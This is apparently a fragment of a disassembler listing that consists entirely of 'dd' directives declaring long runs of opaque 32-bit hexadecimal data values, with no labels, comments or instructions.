		dd 9B1D0A18h, 29B0E46Bh, 6964BBDh, 10744F5h, 5F4668C2h
		dd 1E105516h, 34FDD560h, 96D80DEh, 79FA5756h, 0FB0B5000h
		dd 11EAB486h, 0C43E05D9h, 40400C34h, 0AA68E2ACh, 0B1007A7Dh
		dd 9A5BF1F0h, 16F76D5h,	1C221444h, 50AED3ECh, 3986E690h
		dd 37CB300h, 0C622365Eh, 9FFE1C83h, 734E8326h, 71E83787h
		dd 5349C097h, 0E61D80E4h, 8C51C478h, 31894A60h,	12DE6A3h
		dd 3B5FFBB1h, 0ED639BDEh, 0DA2EF001h, 656C80C1h, 0E980A772h
		dd 0B3A2C93Fh, 480141CAh, 0DA281693h, 65DE6E7Bh, 6018E4B4h
		dd 7155206h, 0B7E53AF9h, 23AE80EEh, 30B1A7EDh, 0C9813804h
		dd 0A98EE4C0h, 0CA89DCC0h
		dd 0C0D06A2Bh, 48881058h, 0F7225746h, 10500200h, 6A650564h
		dd 976D093Ch, 6420F904h, 0D754A1DEh, 526CC300h,	252C47CBh
		dd 0B03D077Bh, 0D27A834Bh, 4C4867CFh, 0B500021Bh, 31D651F5h
		dd 0EC0791BBh, 9DDB0065h, 0B6E75DEFh, 0E629528Fh, 0DB715409h
		dd 4C007118h, 7CFD9F06h, 798487C3h, 0F6190470h,	0CC04A3C9h
		dd 48CAD48h, 0E25F7E8Ah, 20AD620Eh, 9F7E828Fh, 12D47048h
		dd 180473E2h, 1E31015Ah, 0E9C4F0E6h, 40220643h,	0E6B03200h
		dd 8F6B777Eh, 130200D4h, 4033DDAAh, 0FE0C8278h,	70DED523h
		dd 77160CF0h, 0D4A82058h, 7E8D3E8Ch, 0C436E288h, 6440B564h
		dd 0CA917E81h, 0DC54B800h, 86D8E207h, 3F9401F6h, 0A885CFE1h
		dd 0E10241Ah, 3724B300h, 7B516E92h, 2ACA0761h, 51F65769h
		dd 82D6A703h, 42FE2459h, 11E868A5h, 0F549EBh, 0BED65860h
		dd 0BD7F6667h, 30A8194Ch, 0A66B39D9h, 56C82432h, 0AE1EBC00h
		dd 0F5830ABAh, 0B5467CC4h, 71F31300h, 85E0CBC6h, 0C0B14509h
		dd 743C84D5h, 8A096260h, 0FE674810h, 0E480F5C8h, 0F926105Ah
		dd 529500C1h, 0B5EF2BCAh, 5402A607h, 3811D9FAh,	15202E46h
		dd 0CCB720F2h, 0FC52D898h, 0E2450080h, 0AA53FE1h, 40390024h
		dd 1CF3DBEEh, 0A37C125Bh, 78285E1Fh, 4181069Fh,	9318ABC0h
		dd 2AFC34h, 219DB6BEh, 37A3D7DBh, 0F533A500h, 6C355A8Bh
		dd 27B32CF0h, 23DE8F74h, 0F8FF59E0h, 0B100CD18h, 4CCB0842h
		dd 0DB1E91h, 0F45763A7h, 70C70E8Ah, 3D93E4EFh, 6F1BEE00h
		dd 121AA9A8h, 0EF441274h, 53CE0040h, 0D4397D85h, 3A789FFCh
		dd 261C3Ah, 15628A78h, 5D9A7787h, 0A7033828h, 82F796A6h
		dd 4F7CDBD8h, 0A8200407h, 0BF30274Ch, 110FF3h, 8B197958h
		dd 0FDCC568Dh, 0D092967Fh, 2DC9D00Fh, 5850A070h, 632B924h
		dd 284CA6B8h, 0AA018129h, 0A33DBA92h, 0F1FC2C0Fh, 8054B0D3h
		dd 73FE7E4h, 5C3ECF16h,	0E4EF0D7h, 92078B08h, 9C55FB13h
		dd 0A0FAB520h, 6DC00EEh, 496D794h, 3126D2ABh, 1002A775h
		dd 604192FFh, 0A8163A39h, 0F728A0h, 0ABF23CC9h,	0D994459Ch
		dd 0D931A00h, 9E17C4FEh, 23C910FCh, 8D830139h, 0DA625DBh
		dd 0EF47418Fh, 0B7D5FA21h, 0CEEF30D8h, 0B310C80Ah, 2300E0F1h
		dd 0C3967E86h, 51EA1F2Fh, 599FC02Eh, 0CD1A8792h, 7C1CC40Fh
		dd 0F29080BAh, 54BF4E8Ch, 0BB80DEh, 37C1A53Bh, 34881762h
		dd 82905D3Dh, 7B7678B7h, 80C082CDh, 0E3A0A0B6h,	185FD9C9h
		dd 81CF21F6h, 8A0FF502h, 810AD406h, 7BE29EF4h, 0A682E05Bh
		dd 40F478h, 0A017232h, 0F8545C0h, 81803086h, 0FF65FCF8h
		dd 0B307C969h, 0CD3EA281h, 64D4D800h, 809B0098h, 0DD30A779h
		dd 0CB745796h, 7E00F0E6h, 0CFB128F7h, 68E4C5h, 56201A18h
		dd 0C848EA16h, 0FD74DB07h, 3491E931h, 4A30B7A6h, 0FFB90068h
		dd 0E3C7DCCBh, 0DE007BAEh, 10A4CE9Eh, 0C784D31h, 0B46E1958h
		dd 650A871Ah, 8F77AE54h, 0FE5D803h, 47BBF8A4h, 7B4670B8h
		dd 9E8D3D32h, 4044CD03h, 0EC8075F1h, 21122963h,	0D6E81B01h
		dd 20D83318h, 0B9E0CBACh, 0D2F34500h, 0F2D0AB1h, 0CC92209Fh
		dd 78756413h, 33E19100h, 5E63B4D4h, 38BAC0C1h, 7E390EBAh
		dd 8019BA84h, 1411BD10h, 0C0E134C7h, 57E3D160h,	9100B416h
		dd 5405EFCh, 0CC4749Ch,	4B1A0D19h, 0D1B07DA9h, 93354F03h
		dd 0D0CBB683h, 0E475E0Bh, 0D59D5DBEh, 3045FCA0h, 0D005CC93h
		dd 0BDC62131h, 462C2038h, 6CCC015Ch, 91550DC6h,	2920D880h
		dd 0AD7E7916h, 0C51D40E2h, 3218ACD0h, 211321h, 73868816h
		dd 0B4F24553h, 9188D550h, 9476AC00h, 62D1302Bh,	81573395h
		dd 21389F08h, 0FF00FB8Eh, 253C790Ch, 3AC67E6Ah,	9E2948A9h
		dd 1A5F00ACh, 350F767Bh, 51AEB403h, 14691D0h, 7452F480h
		dd 0A1404521h, 187C0491h, 10ADB49Dh, 6D26CE39h,	0AB00E831h
		dd 8CC189F1h, 7B830043h, 0BF649D5Eh, 391B4758h,	8C295AFDh
		dd 1284E221h, 59C71060h, 6D08C389h, 0CB1C2284h,	20441722h
		dd 0FA01EF67h, 9456BA83h, 1FECAA2Fh, 2DA92DADh,	893E4F7Eh
		dd 2EC2F2h, 0D7295EF9h,	761D07ACh, 0BED857EAh, 7DD654h
		dd 0C28FFF2Dh, 930979E6h, 2E36F600h, 8C7BEE4Ah,	6D87E5Ah
		dd 297C1673h, 0F20C3818h, 480F31D1h, 9C2D003Ah,	5CF0AF0Eh
		dd 6800082Ah, 0A2B4AC01h, 22C465h, 393136E1h, 4CC3B4Fh
		dd 8701F4F8h, 9C3316FBh, 1EF418B9h, 0A60101D8h,	3F084959h
		dd 119AF4D9h, 9300C171h, 24CF38BCh, 0FE65BFD6h,	0A3C40209h
		dd 0AE121785h, 5C16CC48h, 2291A80Fh, 72FA0DAh, 0F9A045h
		dd 1B7E7ACCh, 2B1C8E98h, 79518B00h, 2753E2B3h, 7A3E07BFh
		dd 0CE9B3D3Bh, 0A5C4C700h, 6E0011D5h, 17715722h, 8D5EF6h
		dd 8AEDAAFCh, 0B66F4CB3h, 0E1284B09h, 32100042h, 7DC36F4h
		dd 4EACE546h, 0EB780379h, 0FA64E3F8h, 2C331800h, 307EF8FCh
		dd 3419072Ah, 6E3D8659h, 0C238FE80h, 99000A54h,	16BE33BBh
		dd 281A60h, 0C76F44ABh,	0B226B943h, 80041B3Dh, 59ADA64Eh
		dd 98570Ah, 3EC29914h, 6BE17F7Bh, 926DC800h, 0EC9B6822h
		dd 94520C0Fh, 9760C63Ah, 0C0350E4h, 12CF2523h, 7855E8B2h
		dd 0C77D0F56h, 0ABA007F1h, 6F11E2FAh, 5A68790Ah, 0CE07E0CBh
		dd 0CF434998h, 4E7D54h,	0C9416445h, 66F6AAEEh, 50004DE8h
		dd 5CEFF3D1h, 1FFF53h, 9EAE4B87h, 0C96EEBA9h, 4500DFF8h
		dd 846A58C3h, 1C60E207h, 0B60872h, 0EBD2CD6Ch, 4B3F9F79h
		dd 0D8007975h, 33F65CF4h, 75D997Bh, 8846CD6Bh, 3F2130A0h
		dd 4A1E0585h, 0D45E6F12h, 791CAC00h, 4F54415h, 0A2EFD921h
		dd 0D6688090h, 7800B5A5h, 0BE09D8FFh, 62E8294h,	0C05ADE8Eh
		dd 0BA60C0FAh, 0E52D0E40h, 1E0EC68h, 0D2B4B236h, 0C0D551B5h
		dd 0BB729833h, 9CBFCD3Ah, 0D0409062h, 7231B8E4h, 4D8F007h
		dd 0AA17865Eh, 0CD20D0A1h, 0C309BBE5h, 753545h,	83F31524h
		dd 0A110122Fh, 0AD4F0059h, 6C74D560h, 0A9AEB903h, 0C1775FFFh
		dd 0DC40EB38h, 1009C5h,	0DE9BF7F2h, 1B022A8Ah, 61D640Ch
		dd 1A8D6h, 99AA7A05h, 880A534Dh, 57CA9D00h, 0BBF73CF5h
		dd 0B56C236h, 0FA80E240h, 0D2D81F45h, 0AE4FE61Fh, 0CF8AB24Fh
		dd 0D792E065h, 7CC064Dh, 0D2028F37h, 89E5600Bh,	0FF014ADAh
		dd 65AFF4E1h, 63E21664h, 7885E890h, 0F8A1032Ch,	9E583428h
		dd 0DD24BC8h, 413B3500h, 1D55B788h, 544C00C5h, 26199606h
		dd 46045039h, 0CE9DA35Dh, 485628C1h, 0FDD7C0C3h, 0FAB309A6h
		dd 0EC0018D6h, 0A9A5BB92h, 0C922FB01h, 0E6ADE893h, 0E551DCCh
		dd 3239C04h, 596C6660h,	0AB005C45h, 36FD0F67h, 0C9219Eh
		dd 0A5DEB51Fh, 0B6648954h, 89A97B3Ah, 89ADAE07h, 5FDE18h
		dd 8349442Bh, 0F301AC63h, 0E9D6A398h, 0C7F864B7h, 0B8431DC8h
		dd 0A63341E8h, 0C89EC125h, 0E4774B69h, 0ACE09600h, 36DFD5E7h
		dd 0A42381Fh, 0FCA6AF80h, 61FB546Fh, 0A49FE23Bh, 0C5171620h
		dd 322F2A00h, 77639Ah, 0AEBF4C8h, 1D19A3B3h, 7A3D571Eh
		dd 16B4F00h, 162345Fh, 0C866BCA1h, 20DF0597h, 8D0ED92Eh
		dd 40EC29BBh, 9E8ED37Bh, 969700E6h, 0B62E9863h,	0D7005DFFh
		dd 54872FE4h, 0FC076A6h, 4A9B03A5h, 6F6CEA0h, 0E0E6124Fh
		dd 2C3AD703h, 0E8DF6555h, 3FDBAD8Bh, 16800864h,	9F9B5F99h
		dd 33603E6Bh, 51AB5E30h, 1647B05Ch, 0FF4A7C94h,	0F77D6C00h
		dd 0B1F569h, 41AB0DBh, 7A02C037h, 3005120Ah, 0EC9F8C7Dh
		dd 0A0E83ECCh, 0E73D0125h
		dd 8EFC375Eh, 0B470D865h, 0BBB11800h, 0FA30D0C1h, 17C01C8Dh
		dd 41020021h, 0F774CA82h, 2A28CE00h, 48FB673Dh,	98BE00E0h
		dd 3463C8ADh, 0B00703Fh, 0A42D1E44h, 7116A001h,	71407F7h
		dd 23673141h, 0AB90E41Fh, 0C83BE89Eh, 0AC248019h, 0A3CBA8AEh
		dd 60DE0480h, 8090EFC7h, 2DD276E8h, 67737501h, 39B01CB6h
		dd 70CAC020h, 5BE8006Bh, 38420CFCh, 9CF8659Bh, 0E3EC130Fh
		dd 0E759604Eh, 0C4F72Ah, 4A833578h, 742310FCh, 58307F0Ah
		dd 0BD00E06Fh, 1809DDEBh, 4BDC00F6h, 68F2DBB0h,	0C007977Eh
		dd 2B1DB95Eh, 0EC60B261h, 201E30h, 3E160922h, 644B5CC1h
		dd 23DA0200h, 83DF2A1Ah, 3C750BDBh, 0A9F07CD8h,	418F0100h
		dd 439019F9h, 2CBF395Fh, 0A3002BD8h, 3AC09249h,	0FC00A7A9h
		dd 1FEB6C51h, 0A093395Eh, 5C7BA580h, 6A057CD9h,	0C08B38C5h
		dd 39E67010h, 2F017F73h, 0A482B1A0h, 0FC24426Fh, 64E400A8h
		dd 0A57384D0h, 0F100DA9Eh, 5C4ED731h, 3A995719h, 0A7802BF6h
		dd 1295EA9Ah, 28BAFB77h, 69391C00h, 74E0C0DCh, 0A0D02626h
		dd 0C49680ACh, 0F9ECF43Ah, 0F29C8503h, 0E8FDA524h, 5D0EBD56h
		dd 0A040CD3h, 87933A70h, 753EC050h, 0FA004247h,	6913F76Fh
		dd 58F3709Ah, 0D500A843h, 0B8B5BC56h, 61007E99h, 1FC48624h
		dd 4770C6h, 0B6877D4Eh,	0FAE3CA80h, 2C4872FEh, 0D49035Ah
		dd 9F02FBA7h, 0E0D3D594h, 0DA85E89Ah, 3ED607B2h, 909D69E2h
		dd 7CBC3C4Fh, 3BB3A900h, 0A401D3CBh, 0F9EEB1h, 6F3073C8h
		dd 1761D5E0h, 0E34F025h, 2964CF40h, 6E220082h, 0F903Eh
		dd 45D66371h, 8C06109Fh, 0C5628CA8h, 19F33B00h,	0A4CFF7EDh
		dd 0B173B3h, 468E9D92h,	4179622Dh, 30CBB530h, 1FE62249h
		dd 5D08Ah, 533113F9h, 9D0F21A9h, 204CFB82h, 34D292DFh
		dd 713800BAh, 23AE79DDh, 0EB00ADC8h, 5F74A1BDh,	0AF92CFh
		dd 1B41A222h, 30D48A47h, 0DCB73300h, 44C6A4F2h,	13E655h
		dd 0CD968C3Ah, 0C962CB26h, 3B6C852Ch, 415E300h,	0E7A256Fh
		dd 30932BB0h, 73B30Fh, 0B70229E0h, 360382D3h, 0F526ABBDh
		dd 1571995Fh, 3AA2D0h, 3F447247h, 8C1D1325h, 80706F38h
		dd 0B5316A9Ch, 0BB23E2Ah, 6509FF24h, 1C552780h,	2D00C241h
		dd 44C1F5D1h, 70F8EC43h, 0DC890C0Dh, 72480BAEh,	19304000h
		dd 845D28A8h, 68290252h, 45CEFEE5h, 3E9170A0h, 1D0F7915h
		dd 0E02949A6h, 0B0811A1h, 6788Fh, 1C6E4C27h, 0FF1FCFA8h
		dd 0CA41B10Fh, 11A0C1A9h, 7A816787h, 0C82418C3h, 4038FBA7h
		dd 20228089h, 39EBA3A9h, 0DB073F1Dh, 0CE58BE1Fh, 0B260D97Ch
		dd 0D76A24C0h, 0FCC9AE00h, 7956D014h, 93B901CAh, 7F1C6506h
		dd 80ADD56Ah, 0C9D47E4Eh, 15E8C4Ah, 5524666Bh, 0F030C82Fh
		dd 92005BD9h, 0C4B11B23h, 0F5D173Eh, 0E94AE160h, 2EAFD580h
		dd 2043610h, 52453DE2h,	3024D080h, 0FBEA00FCh, 2F9AD8EDh
		dd 951C78BAh, 0C2807735h, 0EFF2745Ah, 843704D4h, 8326ECD2h
		dd 0F690166Dh, 990769B9h, 4AE2E098h, 9C575900h,	0ABFCD7h
		dd 6C825C8Eh, 494C084h,	0A870EA00h, 1FC3279Dh, 3474ACh
		dd 0A4C13786h, 0A12B05FEh, 84C5F500h, 13817AFh,	0ECE6B7h
		dd 5819278Dh, 0C63C4BB3h, 0C5FC8800h, 0AFD8FBDDh, 7CD4016Ch
		dd 0E49A4E46h, 648EE8CCh, 99016EF2h, 1CD7EE91h,	63E44FB8h
		dd 0F40C0051h, 7A29D368h, 0DC01EC1Eh, 7B214445h, 3CE924DDh
		dd 9AFB60h, 0E8831626h,	2881924Dh, 0C000AEF4h, 0F9D098D6h
		dd 3030623Dh, 0E618D55Ch, 66007964h, 9CD88AADh,	0FCB7B168h
		dd 224603F1h, 0F38D3607h, 0D5585B0h, 0B860370Fh, 0B0D520B2h
		dd 2C745B1h, 4626D68Eh,	0C560DA71h, 0BA00827Ah,	531F1BCAh
		dd 0F99D3Fh, 0A6B005EBh, 5ABC946Dh, 0BB1D3Ch, 0C879B684h
		dd 0EFC708Dh, 0CFF6385Eh, 0C6F88C20h, 0DF00925Ah, 7DB9A751h
		dd 7F664Eh, 2CEC1D76h, 7871AAC0h, 6532D600h, 5F5A6F17h
		dd 0E5DA032Fh, 0AC11B646h, 88B133D8h, 26BB000h,	0A6C9C784h
		dd 1EEB0067h, 0B4CA811Ah, 7C4A6D83h, 2D0B27C0h,	15921E9Dh
		dd 855500FBh, 8C53643h,	97EF6003h, 0F71496FDh, 0B9C73FF0h
		dd 0E6E00092h, 183CE944h, 8C1C4B9Eh, 9580481Dh,	8F2AD09Dh
		dd 207F0370h, 0EA4985A4h, 4C183803h, 0D8E08433h, 0BDE3FBh
		dd 7A2307F0h, 919A0450h, 9F000AECh, 1F47EA31h, 3A956294h
		dd 0D3017717h, 27FEBDBAh, 0A1B3E060h, 548B3300h, 0E52D05CCh
		dd 88B60089h, 0E1D05891h, 7F00BB32h, 974F9C49h,	0D60CF2h
		dd 55B97A4Eh, 88A6C8C5h, 4CE3100h, 0E466BB3Dh, 0D87700EDh
		dd 3BCA761Dh, 0D00C4FFh, 0F654D682h, 3C0A974Eh,	8900C859h
		dd 3A129432h, 0B40026BAh, 0F4C1F6D0h, 72A2AA6Dh, 840D041Fh
		dd 90FBD16Eh, 0B03A1DF8h, 0BB06077Bh, 0C491F5B6h, 16240A18h
		dd 0AAFE57h, 80645205h,	9A009FD5h, 34D35DFCh, 98B8541h
		dd 0D126D0C9h, 0C8AEBA80h, 0B400EDF1h, 97510870h, 4F5C9E1h
		dd 0E85E451Fh, 791080E2h, 0E709D38Bh, 7B4F675h,	0E3AE07F4h
		dd 0B3C572h, 3D82BA10h,	103C20D7h, 31094107h, 0FF9D301h
		dd 338304Ch, 0E602540Fh, 0FED4BAE0h, 0CB18EE30h, 0E8189189h
		dd 0CE880003h, 0EF29A7C0h, 96004C5Ch, 8F1E5E11h, 0FCB134Eh
		dd 0B9EB957Ah, 1FB30740h, 9D07D9BDh, 0FB19AA51h, 24F8A80Ch
		dd 125702h, 7C9B058Fh, 2F00ED35h, 2CEF2E72h, 6AE6142h
		dd 85B2B4B0h, 0FA02C0ACh, 79FBFCC2h, 49FC8086h,	366ACDh
		dd 7E3339B4h, 75A8BCF5h, 9E44ED1Ch, 5B005F92h, 6B771093h
		dd 0FD5B3EA0h, 0B6CF0078h, 0DA82CB73h, 4B1C92D6h, 0A7CE2694h
		dd 9009A04Ch, 90D55155h, 0F0F40270h, 0F3C21DD6h, 0EC229241h
		dd 0EA00A307h, 0E374C8EDh, 0C0B110h, 7F8540F1h,	82C1D5CDh
		dd 0F0DB7326h, 0FFE0C500h, 74793Ah, 6A06F6B7h, 6E5F8C4Eh
		dd 0C1C86D00h, 382E8AD6h, 0F821002Fh, 407E8314h, 0EA78A451h
		dd 0A937270Fh, 5D6A6096h, 98896CBEh, 0AE410024h, 7A544C04h
		dd 5B00E1F8h, 0A04709CBh, 0F0EB4Fh, 751CD178h, 51AD3B30h
		dd 3600F4EEh, 0B44147D3h, 0E7E666h, 5276C608h, 0D1ADFC5Eh
		dd 0CD00F976h, 1B1DDA70h, 0CF6220h, 0BE2D8A3h, 0D1AC3A80h
		dd 7DF12B01h, 1F9B9515h, 0C0D3FCh, 4E4AE6A0h, 73EB6A4h
		dd 1C8D8007h, 4290F316h, 902B51D0h, 45670020h, 0FBB9F963h
		dd 5CB03383h, 5E07D303h, 313462h, 97727910h, 521926ADh
		dd 65744F00h, 563EA77Ah, 6F181E3Dh, 92006430h, 83C43180h
		dd 0DAC020B5h, 9080C241h, 687FBA55h, 0C407BC7Dh, 393BB5CFh
		dd 9A80D495h, 9615760h,	8AE401FAh, 9359BC80h, 0F3008464h
		dd 90C87503h, 3D8F5D4h,	381D99D2h, 52009245h, 48C9EAC2h
		dd 2EFBFDB2h, 9324A6h, 0F034BFF3h, 0C4007436h, 0B2DE938Bh
		dd 0F62353C5h, 765F0ED4h, 3A206338h, 0AA2D73BFh, 0E0A0500h
		dd 9F557A40h, 26780047h, 0E5AC5698h, 0E9C6750Ch, 30C721h
		dd 0EDCC4CA0h, 4246BE2Eh, 9F664100h, 74C407EAh,	17D40058h
		dd 0CEB53DC0h, 773EF72Ah, 8A48805Bh, 0ECC25C7h,	0D1520473h
		dd 0C0E20589h, 192E5A70h, 0F1EDE05h, 0D883EFB0h, 0B530D792h
		dd 5BCFEh, 0A1D9919Fh, 0C3B4CCD5h, 4C743700h, 4DF5249Dh
		dd 31360039h, 79030C61h, 9B0955EAh, 2CCB318h, 0E01B3CBCh
		dd 4C4C3E84h, 0F2036C07h, 0CFBE3D7Fh, 84D2C09Ch, 9C00E1DAh
		dd 0DE2E2855h, 77B4Eh, 72437432h, 0BF2D4C91h, 0AA0E7E60h
		dd 79EDE3h, 17A25571h
		dd 0E2BEAFD7h, 25511300h, 0D5EB26A0h, 7B0403DFh, 4F761EC0h
		dd 3CC027DBh, 2600520Dh, 0A285726Ah, 5C35867Bh,	64004597h
		dd 1098CE25h, 0B31F7ABAh, 5A802EC8h, 803C881Ch,	0B978267Eh
		dd 753C90h, 0B8CC6F5Fh,	0A06793D7h, 0C246BA00h,	7F1AE6FEh
		dd 30853F01h, 0FEB9D85h, 9B08007Ch, 6EE5D9DDh, 1C929858h
		dd 1502F4EEh, 0C0EAAF28h, 1CDFFD8h, 54FE3FA4h, 0BE8A6FFDh
		dd 5C090070h, 959F3584h, 970A3ACCh, 6606CD3Ah, 99AC3E31h
		dd 0CA5E331Bh, 7C77C030h, 78D01D8Ch, 6CDB0C9Ch,	0FB0537BEh
		dd 0B7866932h, 4B5E2681h, 0B509208Fh, 65F33E5h,	18A47920h
		dd 0AC06F574h, 8FF1D9D3h, 0FC150068h, 8AC57EA8h, 0A418FA85h
		dd 0BD4008D7h, 0D29501B8h, 75F54738h, 6BBAE440h, 18466900h
		dd 0F7886D43h, 1E25Ah, 21781DF0h, 89B299AEh, 506BB513h
		dd 0DD8B0800h, 102E860h, 0A272FFF7h, 0E4AD3C95h, 9000F4B7h
		dd 2C6D92B6h, 0F35BC416h, 79D7B180h, 61B97477h,	0B1048D19h
		dd 0A0C00E19h, 4E710007h, 2FB683D5h, 151870C1h,	787E7BDEh
		dd 0A60603E1h, 1B74E35Fh, 0FEDA8080h, 0CE4B330Eh, 8D326030h
		dd 2641DBA2h, 1345306h,	9405D960h, 32626059h, 56845D00h
		dd 2FEE3D8h, 0D2C8A8AFh, 0FD521F06h, 3112407Ah,	33FF830Dh
		dd 59085D00h, 7E30D284h, 94CD0C8Fh, 0B6B07D75h,	59EE7B75h
		dd 9211B560h, 1273A048h, 407CAB9Bh, 904C6308h, 8001A91h
		dd 515FEC7Bh, 185BD6Bh,	0BAC662E0h, 0C8C3DDB1h,	0F50E1C27h
		dd 8014D312h, 26BE3863h, 3607A94h, 3C2FD9FFh, 1129F961h
		dd 615F04FAh, 80180465h, 8D409810h, 391E14h, 127B6E3Bh
		dd 381C19A7h, 8A659100h, 0EBFA83C3h, 2990E966h,	446188C7h
		dd 0C42E23AEh, 446FF344h, 524878E6h, 2294CF42h,	76226B5Fh
		dd 0C0B6224Ah, 0E0780403h, 1843EF6h, 72DF5507h,	0E03FF7AEh
		dd 0F038430Dh, 67E083A9h, 808B5D91h, 300B38h, 97704EFBh
		dd 1D5A2CF1h, 0C74FE801h, 189A0EF8h, 7EAD95D8h,	0BDD5026Bh
		dd 6589C949h, 56E74D60h, 0A1110800h, 1EF66B94h,	37FD00B4h
		dd 0AD2C24F2h, 1900EF93h, 53D90EB2h, 0FBA6488h,	0C25234ECh
		dd 0C2B8F40h, 0B706955Bh, 168905F5h, 0A76E0311h, 7431688Eh
		dd 86E0B0E0h, 7A3C8A04h, 5C9053EAh, 0F27F9682h,	1EE4EABDh
		dd 809BAD19h, 433145BBh, 4B00BA09h, 3F8026D9h, 0C1F3AEh
		dd 0DEF1FD36h, 0A5831D4h, 8C6CA600h, 0E50DE12Dh, 64D01E7h
		dd 8D168C9h, 0BC7BF48Ah, 3F255900h, 0CEB1A075h,	0CBE2E4h
		dd 1577707Ah, 0B54CBD69h, 0A138E900h, 0CE24D91h, 0F3720055h
		dd 42E564F2h, 0DA1DBBA9h, 43C11ED1h, 9B7CB065h,	466036FDh
		dd 1BD7034Dh, 79516D02h, 0F4B2AAC1h, 8FFEEE07h,	521D8000h
		dd 0E40D175Ch, 7B650055h, 9BF1299Dh, 0A3FE19B8h, 0CED8C500h
		dd 6F36712Dh, 0A22C005Bh, 99B6E755h, 4407C3F9h,	56069773h
		dd 0D5A17287h, 43D4259Ch, 389D007Ch, 8A5351FDh,	61030268h
		dd 97368E4Ah, 5FD00003h, 952C6A82h, 4003C894h, 0E31E4A27h
		dd 46C2C07Bh, 2378008Eh, 0A495023Ah, 8C006210h,	0E6D34DA8h
		dd 67C76Dh, 0BC5C91B5h,	0FCE282EBh, 2F63AC0Fh, 6EFE6126h
		dd 0C60865Fh, 0D9182C62h, 7F4B00FDh, 44417449h,	43822C01h
		dd 0CDD4EA38h, 36C5D0h,	312DC93Dh, 854EFDCEh, 46E438h
		dd 2187C46Eh, 5F4476h, 0C726534Fh, 66C03858h, 390EA2F4h
		dd 40037AA1h, 0B64B4DAEh, 873001Fh, 6EC65335h, 0AC008388h
		dd 7036E94Fh, 3ADB07h, 61331FF1h, 0C49A727Dh, 0D8A1D528h
		dd 63141500h, 79B47B9Fh, 5661FB35h, 0F64288DCh,	0FAEB78D2h
		dd 231500D4h, 6758F244h, 0D773F025h, 0A2A4E0Ah,	0E807DCD3h
		dd 65106442h, 3897441h,	0EA8BE26Bh, 0FA980E1Fh,	38C05CF7h
		dd 0C28D9AD6h, 66EC0024h, 0FDA5A742h, 0AB004E4Bh, 9BEEC3E1h
		dd 770BB48h, 0CB06E99Eh, 94B2602Eh, 2F1D1583h, 52815B21h
		dd 285C8DF2h, 0C01020h,	673CF759h, 6538D9F4h, 540B1490h
		dd 0F9CF4Bh, 813DEB8Dh,	2D18C064h, 17F2E870h, 51506800h
		dd 5866D452h, 0EEACA0BAh, 0EEF7E12h, 0FB166D8Ch, 24008DCFh
		dd 0F1D12C7Fh, 14909500h, 0C46BD789h, 347E1D65h, 859F003Fh
		dd 1D390151h, 965A541Fh, 740C3A40h, 0B781C2h, 0A61AA73Ch
		dd 52273307h, 0BF632001h, 399B343Eh, 7D869F4h, 0D27C62F9h
		dd 445F83F0h, 0E8A0A682h, 0AB81274Ch, 8CC2201Fh, 36EFF340h
		dd 86C967h, 1A3B97EBh, 9CE0B46Ah, 0ED172F00h, 53A3207Bh
		dd 0BD21045Fh, 80261338h, 0EA4BD6A8h, 0D39ECD00h, 99C6E59Dh
		dd 0C37FC7h, 0ADBE1C47h, 63D65C81h, 4CC5F900h, 4A25E067h
		dd 537E1498h, 8600F213h, 0C106C0E1h, 0D7095515h, 8F7B6107h
		dd 6A3DE08Bh, 0EC3C1441h, 978301F2h, 50780C15h,	0D8A7F846h
		dd 0EB48260Fh, 57026081h, 0E4B9DE3Ch, 8DF4EBBBh, 349200EDh
		dd 4EA3A541h, 39E89815h, 2185FF00h, 6F1B5A7Ch, 7238005Dh
		dd 0E1CB6925h, 62000748h, 0A3318E77h, 0E6A78712h, 825E03D7h
		dd 7093CA04h, 782741B8h, 14E12800h, 296FFC55h, 15C90053h
		dd 76B24EC1h, 1900F9AFh, 0DD95243Dh, 38758086h,	78806C71h
		dd 37EE58ECh, 8901FAD4h, 0AF454F28h, 99C1B5D2h,	0FA26CBD8h
		dd 3C8F7D15h, 49036B5Ch, 81C96E5Dh, 927D3001h, 4D707FFh
		dd 1F45F8h, 375F08DAh, 8B36E4C5h, 315D2A00h, 0A4264346h
		dd 86DF001Ah, 0BF873A47h, 270152ADh, 5F9FDA7Fh,	40F875FBh
		dd 5890ABh, 665E68D6h, 333E7434h, 54D3D402h, 40614DC7h
		dd 7BD63A85h, 2DF4FD5Dh, 7946004Ch, 7CE771AEh, 41030959h
		dd 0DEA27F75h, 6C339894h, 588048DAh, 2E52DF00h,	2326AEE8h
		dd 4C593400h, 0C4FA62D1h, 3EF50057h, 1A74DB36h,	4B0018AFh
		dd 0E267B597h, 0B1BE92h, 0DD413D6Fh, 477E4ABAh,	4BB391Ch
		dd 24A38EFEh, 9900DE13h, 0D0CF8976h, 41CC0FEFh,	9D807F64h
		dd 0CB329508h, 0F2499100h, 0E6FAB43Fh, 41B7077Dh, 60DD2AC4h
		dd 4F406F8Eh, 7AE52500h, 0DE5B130Eh, 4E060034h,	32F4F64Ah
		dd 0AE04FD11h, 8FC15447h, 0E84F2480h, 0A04003Ch, 0FD754C1Ch
		dd 6B017913h, 7CD48665h, 0A2DC397Dh, 0F41C0FE9h, 0BC010D3h
		dd 76A623D1h, 75FFC300h, 5BD74C45h, 0A7470266h,	285E9560h
		dd 0EFC61C40h, 43E46800h, 664FB8BBh, 6718C025h,	0CA026B0Eh
		dd 0CE0EB8B0h, 403F5B43h, 6F7D44DAh, 0EFDF0D09h, 80A68720h
		dd 86FDA1A8h, 2843AE0h,	516FFAD3h, 64C00B0Ah, 0D776C747h
		dd 14FD4101h, 186E8650h, 7FD66880h, 0EB73E2B6h,	0B0321C02h
		dd 0C0C3ECF4h, 1F27E134h, 40F97436h, 9A2B618Ch,	5E00A34Bh
		dd 1640F145h, 0C0AAA527h, 111F8B11h, 0E77A9CC9h, 3E5DB00h
		dd 73BBEFF8h, 4835705Ah, 9500D569h, 8CB88546h, 0C4FFE6F6h
		dd 343EBD30h, 1EAE807Fh, 0A6CFE318h, 0A1B60021h, 0E7828DFCh
		dd 20009D4Ah, 0BC31B381h, 3B46B0FEh, 0C100729Fh, 2F3364E4h
		dd 0A11BC58Bh, 0C896DF11h, 0F0F3E80Fh, 7790A092h, 5798000Dh
		dd 4A2B8332h, 7D097A50h, 0A789BFA0h, 49D01F14h,	9F1CECh
		dd 0D66FB3CFh, 0CC82FCA3h, 1660B900h, 790220C0h, 847D09ECh
		dd 88738C7h, 4F96222Dh,	8ACABC60h, 63F4AA00h, 0A9297E7h
		dd 0C7A60044h, 0E9B8950Dh, 43E65C5h, 0ECCD81ABh, 22CF9AE4h
		dd 43E430h, 21338551h, 741F3FF4h, 0B91BAF00h, 0F9A82516h
